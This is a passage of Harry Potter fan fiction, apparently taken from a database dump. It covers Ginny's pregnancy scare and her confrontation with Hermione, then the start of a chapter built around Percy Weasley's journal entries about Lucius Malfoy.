producing herbs.&#8221; Ginny blinked stupidly at her and Hermione sighed in exasperation. &#8220;Forget about that for now. You see, the Flobberworms in that &#8216;preventative potion&#8217; . . .&#8221; She trailed off for a moment and glanced at the vials. The liquid was still the original colour. &#8220;Well, the Flobberworms are <i>the</i> most important ingredient. They build a&#8212;&#8221; Hermione screwed up one eye and squinted at her. &#8220;Are you <i>sure</i> you want to know this? It&#8217;s a bit disgusting.&#8221;</p>\n\n<p></p>\n\n<p> Ginny nodded, her heart thundering in her throat so hard that she didn&#8217;t trust herself to speak. She forced herself to stare at Hermione&#8217;s face so she wouldn&#8217;t look at the vials of potion behind them. </p>\n\n<p></p>\n\n<p> Hermione took a deep breath. &#8220;All right. You know that Flobberworms produce mucus, correct?&#8221; Ginny fluttered her eyes and she continued. &#8220;Well, the Flobberworms force your body to produce <i>more</i> mucus, and the other ingredients are sort of a directive to tell your body exactly <i>where</i> to produce this mucus. So the mucus forms a protective layer over your cervix by direction of the Diricrawl feather and the other ingredients are mostly inactive or strengthening by increasing the natural acidity of your, um&#8212;&#8221; Hermione cleared her throat, her cheeks noticeably red as she nearly tripped over herself to keep talking. &#8220;Anyway, this layer, once fully formed, keeps the man&#8217;s ejacula&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Ginny held up her hand at this point. &#8220;I understand, Hermione.&#8221; She closed her eyes and leaned her head against the cool tiles of the wall. &#8220;I didn&#8217;t think that I could be so thick,&#8221; Ginny muttered.</p>\n\n<p></p>\n\n<p> Hermione&#8217;s eyes were a trifle hard when Ginny peeped out from under her lashes to look at her. &#8220;Well, I feel a bit foolish myself for blindly trusting you to brew that potion correctly! I&#8217;m in just as much danger as you are, you know. The use of that potion represses your monthly so long as you take it, as I&#8217;m sure you know, so I have no idea if I&#8217;m preg&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Merlin, don&#8217;t say it! I don&#8217;t think I can handle hearing <i>that</i> word. Especially now.&#8221; Ginny moaned and scrubbed her face with her hands as Hermione started again. </p>\n\n<p></p>\n\n<p> &#8220;You <i>need</i> to hear it! Because this is reality, Ginny, and you can&#8217;t act like a two year-old about something so important that may affect one or both of us.&#8221;</p>\n\n<p></p>\n\n<p> But Ginny was staring at the vials now; she couldn&#8217;t avoid their presence any longer. One was a dark purple while the other remained the same crystal blue. She closed her eyes and breathed very slowly in and out. </p>\n\n<p></p>\n\n<p> &#8220;I don&#8217;t think I&#8217;ll ever be able to act like a child again, Hermione. Look.&#8221; Ginny pointed at the sink and Hermione turned to see the change and gasped.</p>\n\n<p></p>\n\n<p> &#8220;Oh my&#8212;Merlin!&#8221; Hermione whispered. She clapped a hand over her mouth and stepped back. Her callous manner seemed to melt away and she was all at once only concerned for Ginny. &#8220;Oh my God. Oh, oh, <i>Ginny</i>! What are you going to do?&#8221;</p>\n\n<p></p>\n\n<p> Hermione quickly enveloped Ginny in a hug and held her tight, whimpering in her ear. &#8220;Oh what are you going to <i>do</i>? You have to tell your mum and she&#8217;ll be so disappointed. And Professor McGonagall, what will <i>she</i> think of this?&#8221;</p>\n\n<p></p>\n\n<p> Ginny stepped out of Hermione&#8217;s strangling embrace and shook her head. &#8220;No. I-I&#8217;m just not going to tell them, is all. I mean,&#8221; Ginny looked down at her stomach and poked it gently. The firmness she&#8217;d been so proud of had turned out to be a baby. How&#8212;disappointing. &#8220;The school year is almost over and I suppose that I can hide this under my robes until then. After that, maybe Mum will let me go to Colin&#8217;s for summer hols and&#8212;and I can have the baby at his house! Then I&#8217;ll bring it home and say that I found it on a doorstep and she&#8217;ll want to take care of it and she&#8217;ll be proud that I decided to take in a poor orphan baby and&#8212;and&#8212;&#8221; Ginny put a hand to her lips and her voice cracked on a sob so she stuffed her fingers in her mouth and bit them, hard.</p>\n\n<p></p>\n\n<p> Hermione was staring at her blankly. &#8220;That&#8217;s ridiculous, Ginny. No one would ever believe that. You have to tell her about this. We&#8217;ll go right now to Professor McGonagall and I&#8217;m sure that&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;No!&#8221; Ginny yelled. Her face was hot and she wanted so much to lie back down on her bed and cry. Or curl up with Colin or&#8212; &#8220;Draco. Sweet Merlin. He can&#8217;t know about this, he just <i>can&#8217;t.</i> He&#8217;d kill me. Or ignore me. Or laugh. I don&#8217;t know which would be worse. Oh God.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But this is why we need to tell Professor McGonagall! If he finds out, he may try to hurt you. And I know that you may be a love-sick fool, but surely even <i>you</i> can admit that you&#8217;ll need protection from him. And I don&#8217;t think that your robes will hide your belly until the end of the year. We still have a little over three months and you&#8217;ll start rounding out long before then.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No! She&#8217;ll tell Mum and then Mum will tell Dad and then&#8212;and then&#8212; no! Just no. You&#8217;re not telling McGonagall <i>anything</i> about this. Do you hear me?&#8221; Ginny squeezed her eyes shut. &#8220;And I&#8217;m not in love with him. I never was.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh please, Ginny! Don&#8217;t assume for a moment that I&#8217;m stupid. You&#8217;ve been mooning around ever since he broke up with you. And worse than that, before he broke up with you, you were acting like some sort of servant to him. &#8216;Yes, Draco. No, Draco. Oh let me knit a jumper to keep your poor little black heart warm, Draco.&#8217;&#8221; Hermione slapped the sink and the vials shook in their holders. &#8220;You were worse with him than you ever were when you had that crush on Harry. You won&#8217;t do anything without your precious <i>Draco&#8217;s</i> consent!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;That&#8217;s not true!&#8221; Ginny argued hotly. &#8220;I don&#8217;t love him. I never <i>will </i>love him, and even if I did, it&#8217;s none of your business.&#8221;</p>\n\n<p></p>\n\n<p> Hermione gritted her teeth. &#8220;I&#8217;m trying to help you! Don&#8217;t you see? When it comes to Malfoy, you&#8217;re blind. You can&#8217;t see how&#8212;how <i>evil</i> he is.&#8221;</p>\n\n<p></p>\n\n<p> Ginny scoffed. &#8220;Evil? He&#8217;s not evil. All right, he&#8217;s a git, a first-class arse, even. But Draco isn&#8217;t <i>evil</i>.&#8221; Ginny scowled at Hermione. &#8220;And you&#8217;re not telling McGonagall. Because then she&#8217;ll ask who the father is and I&#8217;m not going to tell her. I&#8217;m not telling anyone about this.&#8221;</p>\n\n<p></p>\n\n<p> But Hermione was collecting her vials together with a determined air and shoving them back into her bag. &#8220;I&#8217;ve not been myself for too long. All this stress lately&#8212; I thought that it would be all right to take a page from Harry&#8217;s book and have a bit of fun, lighten up . . .&#8221; She was mumbling to herself and the vials were clinking inside of the rucksack. &#8220;This is the last straw. I wasn&#8217;t <i>meant</i> to break the rules. I&#8217;m not made for it.&#8221; Hermione shook her head and turned to push past Ginny. &#8220;It&#8217;s high time that I was myself again. Starting right now.&#8221;</p>\n\n<p></p>\n\n<p> Ginny&#8217;s eyes widened and, panicking, she threw her weight into Hermione and pinned her to the wall. Hermione was only slightly taller and heavier than she was, but Quidditch skills and fear combined to make Ginny almost invincible. The small, hard roundness of her belly throbbed when it bounced against the other girl&#8217;s.</p>\n\n<p></p>\n\n<p> Hermione inhaled sharply and squirmed against her. The bag fell to the ground with a crash, spilling shards of glass over the tiles. &#8220;What&#8217;s wrong with you? Are you mad? Let me go!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Don&#8217;t tell McGonagall,&#8221; Ginny demanded. &#8220;Just don&#8217;t tell McGonagall and I&#8217;ll let you go. Promise me!&#8221;</p>\n\n<p></p>\n\n<p> Hermione shook her head, her bushy hair tickling Ginny&#8217;s face. &#8220;I&#8217;m not going to promise you anything, Ginny. I have to tell her. I have to tell her for you. You can hate me, and rage at me, or never speak to me again if you want, but I&#8217;d rather <i>that</i> than see you even more hurt by this. Or dead.&#8221;</p>\n\n<p></p>\n\n<p> Ginny twisted Hermione&#8217;s arm, her thumb pressed painfully into the soft flesh and Hermione cried out into her shoulder. &#8220;Promise me, Hermione. Because I know what my parents will tell me and I don&#8217;t want to do it! Promise me.&#8221;</p>\n\n<p></p>\n\n<p> Hermione sobbed, tears running down her flushed cheeks and Ginny stepped back, startled by her own anger. She put a hand to her mouth. &#8220;Oh, Hermione. I&#8217;m so sorry. I didn&#8217;t mean&#8212;&#8221;</p>\n\n<p></p>\n\n<p> But Hermione took one last, wide-eyed look at Ginny&#8217;s trembling form and ran out of the lavatory, cradling her elbow. Ginny closed her eyes and sunk to the floor. She didn&#8217;t care that her knees were in broken glass, or that she bruised her forehead when she let it fall against the tiles. Ginny only knew that she had just hurt one of her best friends in the world. A friend who was looking out for her well-being, even if she didn&#8217;t know just how much trouble she would cause by going to McGonagall.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Ron cracked his neck and stood up, rubbing his cold and aching backside. Pansy had left sometime during the night and hadn&#8217;t bothered to wake him. She also hadn&#8217;t bothered to leave a note to let him know that another troll didn&#8217;t eat her on the way back to her dormitory. Then again, if she <i>were</i> eaten, she wouldn&#8217;t have been able to leave a note, would she?</p>\n\n<p></p>\n\n<p> He frowned as he put on his hard, muddy Quidditch robes. He shouldn&#8217;t <i>care</i> if a troll ate Pansy. The night before aside, she was still a Slytherin. But even though she was a Slytherin and a would-be murderer . . . </p>\n\n<p></p>\n\n<p> Ron still fancied her.</p>\n\n<p></p>\n\n<p> His shoes were coated in flaking bits of mud, but Ron mindlessly shoved his feet into them and tied the stiff laces together. He remembered his broken Firebolt II with a pang and couldn&#8217;t bring himself to retrieve the pieces of it from just outside of the Forest, so he trudged off through the dewy grass to the castle and his dormitory.</p>\n\n<p></p>\n\n<p> It was still early morning, but it seemed as if everyone had already left for breakfast. If he hurried, Ron thought that he just might get to the Great Hall before all the bacon and marmalade were gone. He dug through his trunk and pulled out some school robes that weren&#8217;t terribly wrinkled.</p>\n\n<p></p>\n\n<p> Ron was just about to shuck off his underpants when a glint of light caught his eye. He turned to look and saw it again, flitting behind the curtains of Harry&#8217;s bed.</p>\n\n<p></p>\n\n<p> &#8220;What the devil . . .?&#8221; Ron muttered to himself, and as he crept closer, he could hear muffled grunts and the rustling of bedclothes. Ron&#8217;s body became rigid and he turned stiffly away. Harry was probably &#8216;entertaining company,&#8217; if Hermione could be considered company.</p>\n\n<p></p>\n\n<p> &#8220;Stupid pillock,&#8221; Ron grumbled, pulling his school robes over his head backward in his hurry to get away.</p>\n\n<p></p>\n\n<p> &#8220;I said get in the box!&#8221; He heard Harry shout suddenly amidst more rustling. </p>\n\n<p></p>\n\n<p> What type of weird game were they playing now? He&#8217;d heard from Seamus and Dean that Hermione and Harry&#8217;s bedroom behaviour was rather . . . eccentric, but this was just odd. Was he really talking to his&#8212;? </p>\n\n<p></p>\n\n<p> &#8220;If you don&#8217;t get in the box, I&#8217;m going to thump you. I mean it!&#8221;</p>\n\n<p></p>\n\n<p> Ron sat on the edge of his bed and tied his shoes with his head cocked to one side, listening. He hadn&#8217;t yet heard Hermione, and Ron couldn&#8217;t help but overhear&#8212;</p>\n\n<p></p>\n\n<p> &#8220;You don&#8217;t like the box? Well, what else am I supposed to put you in? You can&#8217;t just go flitting about like a faerie, you know.&#8221; Pause. &#8220;Yes, I know that you&#8217;re a&#8212;a wizard with rights and&#8212;you sound an awful lot like Hermione.&#8221;</p>\n\n<p></p>\n\n<p> Ron&#8217;s hand jerked suddenly and he broke his shoelace. Harry wasn&#8217;t with Hermione? Who was he talking to then?</p>\n\n<p></p>\n\n<p> &#8220;Um, no I don&#8217;t have any toys. Oh wait! Seamus sleeps with a plush Quaffle, so if you don&#8217;t mind bunking with him and keeping quiet at night, I don&#8217;t see why I can&#8217;t stuff you in there.&#8221;</p>\n\n<p></p>\n\n<p>Shuffling toward the door, Ron&#8217;s mouth was slightly open and he craned his neck to see who Harry was in bed with, but the curtains were mostly closed and all he saw was one of Harry&#8217;s naked feet dangling off the edge.</p>\n\n<p></p>\n\n<p> &#8220;No, you should be all right.&#8221; Pause. &#8220;Well, Seamus is a nice enough guy, but I don&#8217;t know if he kicks. I&#8217;ve never slept with him.&#8221;</p>\n\n<p></p>\n\n<p> Ron shook his head and carefully closed the door behind him, making his way down to the Great Hall for breakfast.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Ginny sat at the Gryffindor table that evening, ignoring Colin&#8217;s concerned chatter and letting her soup drip off the end of her spoon before picking up another bite to do the same. If Ginny concentrated on playing with her food, then maybe she could forget that she was&#8212; that <i>word</i>. And she could also forget about Hermione and her promise to inform McGonagall about <i>the</i>\n\n<i>situation</i>. Ginny hadn&#8217;t seen Hermione all day, but then she&#8217;d been in the bathroom or in bed since she&#8217;d found out about&#8212;her condition. She was getting to be as bad as Draco with the sleep thing, but she supposed that she had a good reason.</p>\n\n<p></p>\n\n<p> The thought of him made her glance over to look at the Slytherin table unconsciously and her chest tightened. There he was: a polished blonde ideal, holding court among a throng of young Ravenclaws and two Slytherin fourth-years. Girls that were old enough for him to have fun with, but too young to know any better. Ginny snorted and let her spoon fall into her soup bowl with a clatter. </p>\n\n<p></p>\n\n<p> The rest of his housemates kept shooting dirty glances at Draco, but he didn&#8217;t seem to be paying attention to anyone but the garden of girls surrounding him. He was most distinctly not looking in Ginny&#8217;s direction since his body was turned away from the Gryffindor table.</p>\n\n<p></p>\n\n<p> She frowned and let her eyes rove over the rest of the hall. Pansy Parkinson <i>was</i> staring at the Gryffindor table, though; in what she probably thought was a covert manner, of course. Ginny followed her line of sight and was startled when it led to Ron, but she was even more shocked to see that her brother was openly looking back! And he wasn&#8217;t scowling or making rude gestures, Ron merely sat there, his brow furrowed as if he were working out a particularly nasty Arithmancy problem while he studied the Slytherin girl. Ron looked confused, whereas Pansy appeared to be content just to fixate on him from the corner of her eye as she ate her blancmange. Ginny shuddered. That was just scary.</p>\n\n<p></p>\n\n<p> &#8220;What&#8217;s wrong with your famous brother?&#8221; Colin nudged Ginny in the arm with a chicken leg he&#8217;d been gnawing.</p>\n\n<p></p>\n\n<p> &#8220;Absolutely no idea.&#8221; She absentmindedly swiped at the grease on her blouse with a linen napkin. &#8220;I think that Parkinson is star-struck, though.&#8221; Ginny pointed subtly with the crumpled cloth at the Slytherin table. &#8220;Then again, Ron <i>did</i> save her life.&#8221; She wrinkled her nose. &#8220;Although I don&#8217;t know why. I mean, she&#8217;s a fellow student and all, but I can&#8217;t see Ron diving in to save her like that and just ignoring the game yesterday; that&#8217;s more Harry&#8217;s bit. He could have told Snape or someone just as easily and let them handle it.&#8221; </p>\n\n<p></p>\n\n<p> Ginny peeked at Ron again. He was absently picking at a chicken and leek pie. Every once in a while he would stuff a bite in his mouth half-heartedly. &#8220;I don&#8217;t think that <i>he</i> knows why, either.&#8221;</p>\n\n<p></p>\n\n<p> Colin shrugged and took a sip of his pumpkin juice. &#8220;Well, darling, let Ron sort out his own messes. Maybe he&#8217;s broadening his horizons. I mean, he&#8217;s already had nearly <i>every</i> girl in his year from Ravenclaw and Hufflepuff, not to mention several from our own house. So perhaps he&#8217;s getting friendly with the snakies now.&#8221;</p>\n\n<p></p>\n\n<p> Ginny scoffed and almost laughed outright. &#8220;I hardly think so. Ron hates Slytherins with a passion.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;They all look the same in the dark, chicken. An arse is an arse, or whatever.&#8221; Colin&#8217;s nose twitched slightly and Ginny laughed lightly.</p>\n\n<p></p>\n\n<p> &#8220;Pervy bastard.&#8221; She smacked him on the leg in a friendly manner and finally took a bite from her now-cold beef and barley soup. Or she would have taken a bite if a shadow hadn&#8217;t have fallen over her plate.</p>\n\n<p></p>\n\n<p> Ginny looked up and almost screamed when she saw Professor McGonagall; the one person in the world she didn&#8217;t want to see right now as it could only mean one thing. McGonagall seemed slightly more severe than normal, her already thin lips pressed into a tight line.</p>\n\n<p></p>\n\n<p> &#8220;Miss Weasley,&#8221; she crisped. &#8220;I&#8217;m sorry to interrupt your meal, but the Headmaster and I would like a word with you.&#8221;</p>\n\n<p></p>\n\n<p> Colin&#8217;s eyes widened slightly and he glanced from Professor McGonagall to Ginny&#8217;s drained face and back again. &#8220;Gin? What&#8217;s happened, Professor?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m afraid that I can not tell you, Mr Creevey. This is a private matter.&#8221;</p>\n\n<p></p>\n\n<p> Colin scowled, but it softened when Ginny clutched his thigh under the table. He put an arm around her and squeezed carefully. &#8220;What&#8217;s the matter, Ginny?&#8221; he whispered.</p>\n\n<p></p>\n\n<p> &#8220;Come with me. Please, Colin. I-I don&#8217;t want to go by myself.&#8221; Ginny&#8217;s voice was breathy and low; she could barely find the strength to speak. Surely Professor McGonagall would let her bring Colin; she <i>needed</i> him.</p>\n\n<p></p>\n\n<p> &#8220;Miss Weasley, kindly stand up and come with me now. You may talk to Mr Creevey later.&#8221; </p>\n\n<p></p>\n\n<p> McGonagall stood firm and people were beginning to stare. Ginny searched for Draco to see his reaction, but he had already left the Hall.</p>\n\n<p></p>\n\n<p> &#8220;She wants me to come with her. Surely Professor Dumbledo&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Professor McGonagall cut Colin off before he could finish. &#8220;I&#8217;m sorry, Mr Creevey. But this meeting is for Miss Weasley, not you.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But I&#8217;m her friend!&#8221; Colin burst out, and made to stand up. Ginny put her hand on his arm and drew him back down.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ll be all right, Colin,&#8221; she whispered. &#8220;I knew this was coming. Will you wait up for me?&#8221;</p>\n\n<p></p>\n\n<p> His face was flushed with anger, but he nodded and pressed her suddenly cold fingers. &#8220;Go on then, love. I&#8217;ll be in the common room until you come up to bed.&#8221; He looked her in the eyes sharply. &#8220;Where I expect a full explanation of what the devil is going on here.&#8221;</p>\n\n<p></p>\n\n<p> Ginny swallowed hard and nodded before standing up to follow Professor McGonagall out of the Great Hall. She tried to step bravely, but her insides were quivering.</p>\n\n<p></p>\n\n<p> &#8220;Why are we going to see the Headmaster, Professor McGonagall? I haven&#8217;t done anything wrong that I can think.&#8221;</p>\n\n<p></p>\n\n<p> She could almost swear that the Professor&#8217;s lip twitched slightly before answering. &#8220;Don&#8217;t play innocent, Miss Weasley. You know full well why you&#8217;re being called to his office.&#8221;</p>\n\n<p></p>\n\n<p> Ginny&#8217;s throat swelled and she couldn&#8217;t breathe for a moment. When the feeling of panic subsided, she gave one last attempt to save her pride. &#8220;I won&#8217;t tell you or anyone else who he is, Professor. You can give me V-Veritaserum if you&#8217;d like, but I&#8217;ll bite my own tongue before I say a word.&#8221;</p>\n\n<p></p>\n\n<p> Professor McGonagall&#8217;s face softened and she chuckled before uttering the password to make the stone gargoyles in front of Dumbledore&#8217;s office part and the spiral staircase appear. She placed a warm hand on Ginny&#8217;s shoulder.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m so glad to see that this generation of Gryffindor are as brave as their predecessors,&#8221; McGonagall stated with a dry twist to her lips. &#8220;And a confession would be quite unnecessary, my dear. Despite appearances, I <i>do</i> keep up with school gossip. Now up the stairs you go.&#8221;</p>\n\n</font>\n\n<p></p>\n\n<p></p>\n\n<p> Reviewing is good for the soul!</p>\n\n</blockquote>\n\n '),
	(271, 28, ' <blockquote>\n\n<font face="Palatino Linotype"><p>Authour&#8217;s Notes: I&#8217;ll try to keep these brief for once. I&#8217;m rather prolific and rambling, so I need to learn to just keep it down to a few lines. Anyway, for those shippers out there who like to skip to the parts containing their favourite ship, I ask you not to overlook this chapter unless you want to be confused to later happenings in the story. Many hints and clues and other things are dropped herein. Conclusion of events that happened in chapter 26 will be in the next chapter. For now, enjoy <i>my</i> favourite chapter. At least one of my favourites. :D The fabulous <a href="http://www.doyourthing.org/glock">Glockgirl</a> and <a href="http://livejournal.com/users/lizardspots">Lizard</a> contributed art to this chapter. Thank you so much, girls. I love you to pieces forever and ever. And <a href="http://livejournal.com/users/abigail89">Abigail</a> also wrote a couple of Percy/Lucius smutlets as an AU to the events of this chapter and is writing a third as we speak. To read the first two, go <a href="http://www.long-december.org/smutty/viewuser.php?uid=5">here</a></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p><i>Goodnight my love,</i></p><i>\n\n<p>The tired old moon is descending.</p>\n\n<p>Goodnight my love,</p>\n\n<p>My moment with you now is ending.</p>\n\n<p>~ Sarah Vaughn</p>\n\n</i><p>\n\n</p>\n\n<p></p>\n\n<p></p>\n\n<p> &#8220;Mr Weasley?&#8221;</p>\n\n<p></p>\n\n<p> Arthur looked up and sighed. There was one hell of a mess in his new office, now that the holidays were over, and he needed to concentrate. If he didn&#8217;t think about work, and only work, he would lose his mind. All these distractions . . .</p>\n\n<p></p>\n\n<p> &#8220;Yes, Lauren?&#8221;</p>\n\n<p></p>\n\n<p> Lauren, his new assistant, shuffled into his office on one broken high heel and set a small, brown parcel on his desk. &#8220;One of the Aurors working over at <i>Mondbluetuties--&#8221; </i>she paused as she stumbled over the unfamiliar word,<i>\n\n</i>&#8220;uh, Malfoy Manor<i>\n\n</i>found this. They thought that you might want it.&#8221;</p>\n\n<p></p>\n\n<p> Arthur picked up the package and hefted it in his hand. It felt like a book of some sort. &#8220;Why would I want anything from that God-awful place?&#8221;</p>\n\n<p></p>\n\n<p> Lauren was still looking down and she made a convulsive sort of motion with her shoulders that could be liberally interpreted as a shrug. Arthur was sure that there wasn&#8217;t anything actually <i>wrong </i>with her, but she was so terribly shy and strange. Poor girl. </p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m not sure, Mr Weasley, sir. They said that you would definitely want to keep it.&#8221;</p>\n\n<p></p>\n\n<p> He frowned and looked down at his paperwork before glancing back at the wrapped book, if that&#8217;s what it was.</p>\n\n<p></p>\n\n<p> &#8220;Thank you, Lauren.&#8221; Arthur looked up and attempted a smile. &#8220;Why don&#8217;t you break for tea? I&#8217;ll call you in if I need any help here.&#8221;</p>\n\n<p></p>\n\n<p> She nodded her head and slowly made her way out the door. He thought briefly of asking her to bring him some tea, too, but stopped himself. Lauren would more than likely spend half an hour making sure that she put in the right amount of cream to suit him.</p>\n\n<p></p>\n\n<p> Hesitantly, Arthur cut the strings on the parcel and pulled back the plain brown paper to reveal a small, leather-bound book with the word &#8216;Journal&#8217; stamped on the spine. The thing that made his heart lurch though was the name written on the first page in a neat, copperplate hand: <i>Percy Ignatius Weasley</i>. </p>\n\n<p></p>\n\n<p> He drew a shuddering breath and closed his eyes. Did he want to read this? These were his son&#8217;s most intimate thoughts and it would be like an invasion of his privacy. Then again, there were so <i>many</i> unanswered questions. The most prominent of these was why Percy had chosen Lucius Malfoy, of all people, to&#8212; he couldn&#8217;t bring himself to even think of it. Would he be able to read about it?</p>\n\n<p></p>\n\n<p> Arthur reached down and opened a drawer at the bottom of his desk - the one containing Muggle contraband - and pulled out a small flask. He took a gulp of the bracing whiskey before wiping his lips and placing it back in his desk. Breathing deep, he stared at the book for a moment longer until he couldn&#8217;t stand the tension any more. Arthur opened the book to the first page and began to read.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<i><p>5th October, 1997</p>\n\n<p></p>\n\n<p>This is a new beginning for me, so I thought that I would buy a new journal as well. </p>\n\n<p></p>\n\n<p>I suppose I should start by saying that I&#8217;ve told Penelope my secret. Mum is convinced that she and I will get back together again. I don&#8217;t want to hurt her feelings, so I haven&#8217;t said anything to contradict this.</p>\n\n<p></p>\n\n<p>One day, I think that I&#8217;ll tell them; but it will probably be a very long time from now. I know Dad has his heart set on grandchildren as much as Mum does, and he would probably be the most hurt by all this. Not to mention that Ron is still at school and not mature enough to understand. Ginny says that he would rage and storm, but he would get over it. Despite what she says though, I think that it would hurt them all very much and I don&#8217;t want to do anything that would destroy the new and tentative peace of our home.</p>\n\n<p></p>\n\n<p>Ginny has been very supportive of my decision to call it off with Penelope. She says that her friend Colin went through the same thing just last year and she understands how I must feel. It&#8217;s a comfort to know that I&#8217;m not alone in this, as Penelope was anything but understanding. I suppose that I can&#8217;t blame her for that. We&#8217;ll be friends again someday, I imagine. But for the moment, this is too painful for her. At least I can rely on her silence, as I&#8217;m not ready to come out to my family just yet.</p>\n\n<p></p>\n\n<p> I&#8217;ll close for now; I still have to write the reports on the new flying carpet embargo for Mr Malfoy. I don&#8217;t know why he&#8217;s taken a sudden interest in this section of the Ministry, but I&#8217;m determined to prove that I&#8217;m not just another Weasley.</p>\n\n<p></p>\n\n<p> Till tomorrow,</p>\n\n<p> Percy</p>\n\n<p></p>\n\n<p></p>\n\n<p> 11th October, 1997</p>\n\n<p></p>\n\n<p> I&#8217;m on my lunch hour now, so I thought that I would take some time out to update this journal. Normally I&#8217;m much better at keeping up my duties, but the importance of this book has fallen to the bottom of the heap time and time again as I find more that I simply <u>must</u> finish. Someone put a dungbomb in my inbox again, so until the Ministry&#8217;s elves have finished cleaning all the reports that were there, I have little to do. If I wasn&#8217;t quite sure of my demotion before, I&#8217;m positive of it now.</p>\n\n<p></p>\n\n</i><p>\n\n<i>I&#8217;ve been working closely with Mr Malfoy and I find that he&#8217;s a wonderful man. I know that he and Dad have been at each other&#8217;s throats since they were children, but I don&#8217;t know why. He&#8217;s very charming and always unfailingly polite. I can&#8217;t abide bad manners and boorish behaviour, but he seems to know this already. He seems to know a lot of things about me.</i></p><i>\n\n<p></p>\n\n<p> I asked him, jokingly, if he had been watching me. Would you believe that the man winked at me? He&#8217;s so devilishly handsome with his platinum hair and dark, grey eyes, and I suppose that I have a bit of a crush on him. It&#8217;s too bad that he has a wife and child, not to mention that he&#8217;s a good deal older than I am. </p>\n\n<p></p>\n\n<p> I fear that he would lose respect for me if he knew my secret, and I wouldn&#8217;t want that to happen as I truly enjoy his company. He&#8217;s a very powerful individual and a bit dark. Then after that Azkaban incident, I suppose he has a right to it if anyone does. But he has a keen mind and a hunger for knowledge that . . . Well, speak of the devil and he appears. I must go now. Mr Malfoy has come to join me during my lunch hour and it would be very rude to keep writing while he&#8217;s speaking to me. </p>\n\n<p></p>\n\n<p>Till tomorrow,</p>\n\n<p> Percy</p>\n\n<p></p>\n\n<p></p>\n\n<p> 15th October, 1997</p>\n\n<p></p>\n\n<p> I&#8217;m positively giddy, just now. I was kissed tonight. Let me write down what happened.</p>\n\n<p></p>\n\n<p> I was in my office, as I usually am, finishing the reports on the flying carpet embargo. Everyone else had gone home already, as they don&#8217;t generally like to stay after hours to finish their work, lazy sots that they are. I like that time best, though, as there&#8217;s very little to distract me and I enjoy the solitude. It isn&#8217;t like the Minister&#8217;s office was, people coming and going at all hours due to necessity.</p>\n\n<p></p>\n\n<p> I suppose it must have been somewhere close to seven, since it was already dark outside, when Mr Malfoy walked in. He was wearing the most delicious cloak made of velvet and lined with lamb&#8217;s wool. Ooh stop it, Percy, you&#8217;re a terrible boy. Anyway, he asked me how far along I was on the embargo report as he needed it soon. I was just finishing up so I asked him to wait a moment and he&#8217;d have them. Truthfully, I think they were a mess, but he said I&#8217;d done well. My heart was in my throat the last five minutes of working on them due to the luscious Mr Lucius Malfoy&#8217;s presence directly behind me.</p>\n\n<p></p>\n\n<p> He asked if I&#8217;d eaten yet and I told him no. To be honest, I hadn&#8217;t a bite all day and I was famished. Lucius, as I&#8217;ll call him from now on, asked me to Apparate with him and have a nibble at this lovely little caf&#233; in the French section of Diagon Alley. I would have been a fool to say no. Even if I didn&#8217;t fancy him, his good influence could seriously further my career.</p>\n\n<p></p>\n\n<p> We strolled down Diagon Alley and onto Vertices toward the caf&#233;. After we&#8217;d ordered, he spoke to me of his passion for rare books and asked if I was similarly inclined to appreciate good literature. I am, of course, and we talked about this subject for a while before moving on to speak of our respective families.</p>\n\n<p></p>\n\n<p> I must admit that I was a bit hesitant to speak of my family. Not that I&#8217;m ashamed of them anymore, I love them very much and have thoroughly learnt my lesson, but I know that he and Dad don&#8217;t exactly see eye to eye. I also remembered something about a diary in Ginny&#8217;s first year, but I don&#8217;t see how father could have thought that it was connected to this man. He&#8217;s so affable! </p>\n\n<p></p>\n\n<p> So I spoke instead of Ginny and my mother. Ginny is my favourite sibling and my only sister. I fear for her sometimes because she&#8217;s so adventurous. But she has a good heart and will make any man she marries one day a very happy husband. If she&#8217;s inclined to go that way, that is. If not, I&#8217;ll support her as much as she&#8217;s supported me. I don&#8217;t have much to fear in that regard, though, because she seems to appreciate men as much as I do. I wouldn&#8217;t wish my situation on her or anyone else, but especially Ginny as she&#8217;s so very sweet and giving.</p>\n\n<p></p>\n\n<p> I think my mother would be all right with this whole thing, but I don&#8217;t want to hurt her. And as much as she would protest, I know it would hurt. I don&#8217;t know what it&#8217;s like for a parent in this, and I suppose I never will, but all the same, I&#8217;ll avoid hurting my family when I can. Merlin knows that I&#8217;ve hurt them enough as it is.</p>\n\n<p></p>\n\n<p> I told Lucius a bit of this, leaving out obvious things and mostly speaking of my sister. She does well in school and on the Quidditch pitch. I&#8217;m proud of her accomplishments so far. Even though she wasn&#8217;t made a prefect, she seems to take school as seriously as I did. At least that&#8217;s what her marks tell me. I can only hope that she is able to have the very best life can offer her, and if there is anything I can do for her, I will do it. She deserves no less.</p>\n\n<p></p>\n\n<p> That isn&#8217;t to say that I don&#8217;t love my brothers, but Ginny has always had a special place in my heart. I suppose that I feel closer to women in the familial sense than to the men of my family. I don&#8217;t quite understand them and they surely don&#8217;t understand me.</p>\n\n<p></p>\n\n<p> I can still remember the delight the twins took in bothering me when I was at my schoolwork over hols. Or later, after I started working for the Ministry. How they would hover in the doorway of my room like two daemons come to tempt me away from my quill and parchment. I think that if I&#8217;d ever deigned to turn and face them, they may have run screaming for Mum. But as it was, I would hold my tongue and pull my hair until they left me in peace.</p>\n\n<p><img 